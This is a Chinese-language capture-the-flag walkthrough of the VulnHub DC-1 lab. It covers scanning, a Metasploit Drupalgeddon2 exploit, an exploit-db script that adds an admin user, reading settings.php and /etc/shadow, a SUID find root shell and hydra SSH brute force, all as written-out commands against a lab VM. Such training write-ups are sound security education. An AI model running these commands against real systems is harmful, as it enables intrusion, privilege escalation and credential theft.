DC-1
0x00 DC镜像
-
网站:https://www.vulnhub.com/
-
搜索DC系列。进入DC:1,下载镜像。
-
解压得到.ova文件,用vmware打开,设置存储路径。选择导入后如果出现弹窗“未符合规范性”,点确定继续即可。
-
设置虚拟机DC-1为桥接模式
-
开启虚拟机,如果有报错:“无法连接虚拟设备 ide1:0”,不管,点取消自动连接,直接进入虚拟机,见到如下界面。
0x00 桥接模式的kali安装
(1)前情提要
原kali机由NAT转桥接时,无法联网。包括且不限于尝试了:手动配置vment0、静态分配ip、改注册表。均无效,于是准备重新安装。
-
kali镜像源的获取
- https://www.kali.org/get-kali/#kali-bare-metal,选择适合的,此处我选择64bit。
- 如果网络连接不稳定,可以用这个自存的百度网盘的链接(2022/1/1于官网下载kali-linux-2021.4a-installer-amd64.iso):
链接:https://pan.baidu.com/s/1HKAcpJs-F8hfGJryXqSlOQ
提取码:ia32
- https://www.kali.org/get-kali/#kali-bare-metal,选择适合的,此处我选择64bit。
-
在安装前设置桥接模式(编辑→虚拟网络编辑器→更改设置(右下角))
-
添加或选中vment0,选择桥接模式,已桥接至——自动(默认)。
-
如果后续出现无法联网问题,在自己的PC控制面板→网络和Internet→网络连接,找到当前使用网络的标识,回到编辑器里选用。
-
谨慎起见,在安装前,在PC中搜索服务并打开,找到与vmware相关的五项,全部右键开启。(本人电脑是第五项是手动开启)
-
好了开始添加虚拟机吧!
安装参考:https://www.jianshu.com/p/344f4cb78c7a。
打开终端,随便ping一个网站,ping通则代表桥接模式联网成功。
(2)kali基本配置
- vmware tools。开启虚拟机后,在vm选项卡中选择“虚拟机→安装vmware tools”,在kali中找到vmware压缩包,拖到桌面双击解压,进入vmware-tools-distrib,选择在终端打开,运行
./vmware-install.pl
,一路默认回车即可。 - 更新linux源。
- 终端输入
vim /etc/apt/sources.list
,复制以下参考源,粘贴保存。(网易163的源自测无法安装)(如果出现只读,登陆root权限,忘记root密码时,依次输入sudo su
、passwd root
,更新密码)#中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #清华大学 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #官方源 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.org/kali kali-rolling main non-free contrib
- 回到终端,kali版本过低时无法直接apt-get,出现数字签名无效报错,先执行以下命令。
wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名
- 输入以下命令更新软件和系统版本
apt-get update apt-get upgrade apt-get dist-upgrade
- 终端输入
DC1官wp参考:https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC1
0x01 探测存活主机
-
在开启DC-1的情况下,在kali上使用命令
netdiscover
进行主机的查找。
-
或者,使用arp-scan工具,
sudo arp-scan -l
,得到同理ip。
arp-scan使用简介:https://blog.csdn.net/weixin_43221560/article/details/90550294
-
或者,使用nmap工具,先查看kali的ip地址
ifconfig
得到192.168.3.35。
再使用nmap工具扫描该网段nmap 192.168.3.0/24
,等待较长时间后,从report里面找到vmware,可以同时得到ip和开放端口。
0x02 查看开放端口
- 0x01找到vmware的ip为192.168.3.32,使用
nmap -A 192.168.3.32
扫描。
- 或者稍微精简一点
nmap -sV -p- 192.168.3.36
,其中-sV
用来扫描主机和端口上运行的软件的版本。
0x03 查看网页
- 扫描得出端口:22、80、111,可以看到80端口开放,尝试在浏览器中访问。则该网页使用Drupal建站。
- 或者,在firefox中添加插件Wappalyzer,刷新页面查询。
0x04 robots.txt
-
查看网站的robots.txt。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉爬虫在服务器上什么文件是可以被查看的。当一个爬虫访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的爬虫将能够访问网站上所有没有被口令保护的页面。
参考:https://blog.csdn.net/kalision/article/details/7918528
-
利用
dirb http://192.168.3.36
在终端可以搜索,得到访问地址
-
或者直接在网页输入192.168.3.36/robots.txt访问
-
无有用信息。
0x05 metasploit查找Drupal——flag1
- 首次使用msfconsole,
msfdb init && msfconsole
,init创建默认数据库(库名msf, msf_test;用户名msf;口令默认空),msfconsole启动。
- 在msfconsole中输入
search Drupal
- 设置相关渗透模块。优先选择“rank=excellent,时间较近”的模块。此处选择
use exploit/unix/webapp/drupal_drupalgeddon2
options
显示攻击的信息和参数- 设置红框处的RHOSTS为DC-1的ip(192.168.3.36)
run
/exploit
执行。出现meterpreter session 1 opened时,证明攻击成功。- 先后输入
shell
和ls
,发现靶机目录中的flag1.txt。
- cat打开flag1,暗示去找配置文件。
0x06 Drupal配置文件——flag2
- Drupal7的配置文件路径为/sites/default/settings.php。
参考:https://api.drupal.org/api/drupal/sites!default!default.settings.php/7
cat /var/www//sites/default/settings.php
打开配置文件
- 得到flag2和mysql数据库的库名、用户名、密码。
- flag2:“暴力和字典攻击不是获取访问权限的唯一方式(而且你需要访问权限),你还能用这些凭证做什么”。
- 数据库:库名drupaldb,用户名dbuser,密码R0ck3t。
0x07 数据库admin登陆——flag3
-
获取交互式shell,
python -c 'import pty; pty.spawn("/bin/bash")'
。否则无法直接登陆。
-
利用刚才得到的用户名和密码,登陆数据库
-
查看刚才得到的数据库drupaldb里的所有表,找到有user表名。
-
查询user表,找到admin,发现密码被加密。
-
直接修改Drupal7的admin用户密码。
参考:https://www.cnblogs.com/ooooo/archive/2011/11/17/2252347.html
假设新密码为newpassword,退出数据库执行散列函数加密得哈希值:
php scripts/password-hash.sh newpassword
。 -
得到对应hash值后,使用原来的用户名和密码登陆mysql,更新admin用户的密码为新hash值:
update drupaldb.users set pass="$S$D3dNAPtXNZF0AU42/Q0bvqPt9r2fLYHTtbAqFRTq3/zs59te4iCz" where name="admin";
-
回到浏览器,在192.168.3.36网页中用用户名admin、密码newpassword登陆,得到成功登录界面。
-
点左上角的find content
-
点进flag3,发现flag3暗示提权,去找/etc/passwd和/etc/shadow。
-
或者,直接利用searchsploit工具查找软件漏洞。回到msfconsole执行
searchsploit drupal
。
-
找到针对添加admin账户的脚本,显示适合<7.31版本,查询DC-1的drupal版本:
cat /var/www/includes/bootstrap.inc | grep VERSION
。
-
DC-1版本为7.24,可以执行攻击脚本。由10的图中可以看到该脚本位置在/php/webapps/34992.py。
-
此处注意,本人的kali自带python2和python3,直接执行python会报错,用python3执行时脚本会报错,所以使用python2执行。
-
python执行
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.3.36 -u adminbp -p passwdbp
。设置admin权限新用户adminbp、密码passwdbp。
-
再次回到数据库查看时,可以发现添加成功,也可以用这个用户名登陆网页获取flag3了。
0x08 passwd搜索——flag4
- 重温flag3的提示词:perms、find、passwd、-exec、shadow。/etc/shadow是/etc/passwd的影子,passwd保存账号、shadow保存账号的密码。
shadow和passwd的关系参考:https://www.cnblogs.com/raoyi/p/12306128.html。
- 查看passwd:
cat /etc/passwd
,找到flag4。
- 上图显示flag4就在/home/flag4目录里,打开,flag4提示:在root目录下同样模式得到flag。
0x09 find提权——flag5/finalflag
-
按照flag4的提示去查看root根目录,果然没有权限。
-
用
find /root
观察root目录下的路径,可以看到/root/thefinalflag.txt路径存在。find指令的使用参考:https://segmentfault.com/a/1190000041196413?sort=votes)
-
使用suid提权,suid是Linux的一个权限机制,在执行使用suid权限的文件时候,调用者会暂时有该文件的root权限。
参考:http://c.biancheng.net/view/868.html
- 只有可执行文件才能设定 SetUID 权限,对目录设定 SUID,是无效的。
- 用户要对该文件拥有 x(执行)权限。
- 用户在执行该文件时,会以文件所有者的身份执行。
- SetUID 权限只在文件执行过程中有效,一旦执行完毕,身份的切换也随之消失。
-
用find命令查找有特殊权限suid的命令
参考:
https://blog.csdn.net/crisprx/article/details/104110725
https://www.jianshu.com/p/0c22c450f971#查找具有root权限的SUID的文件,不同系统适用不同的命令 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \
-
测试得出,执行
find / -perm -u=s -type f 2>/dev/null
,查看root权限运行的文件。
-
猜测find可以使用,确认是否root权限运行:
ls -lh /usr/bin/find
。 -
确定是find是root权限后,用find提权:
find ./ aaa -exec '/bin/sh' \
。用whoami
显示登录名为root。
-
在root权限下就可以直接打开/root/thefinalflag.txt了。
0x0A 登录靶机
-
提权后再
cat /etc/shadow
查看(之前没有权限),发现和passwd一样也存在flag4,即flag4是靶机用户且有密码。 -
因为之前扫描得知靶机DC-1的22端口(ssh)开放,使用hydra暴力破解(参考:http://www.ha97.com/5186.html)得到用户名flag4,密码orange。
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.3.36 ssh hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.3.36 # -l:指定破解用户;-P:指定密码字典;ssh:使用协议
-
成功登录靶机
-
登录后使用ls,发现只有一个flag4.txt,cat打开和之前在home目录下的内容相同。DC-1结束。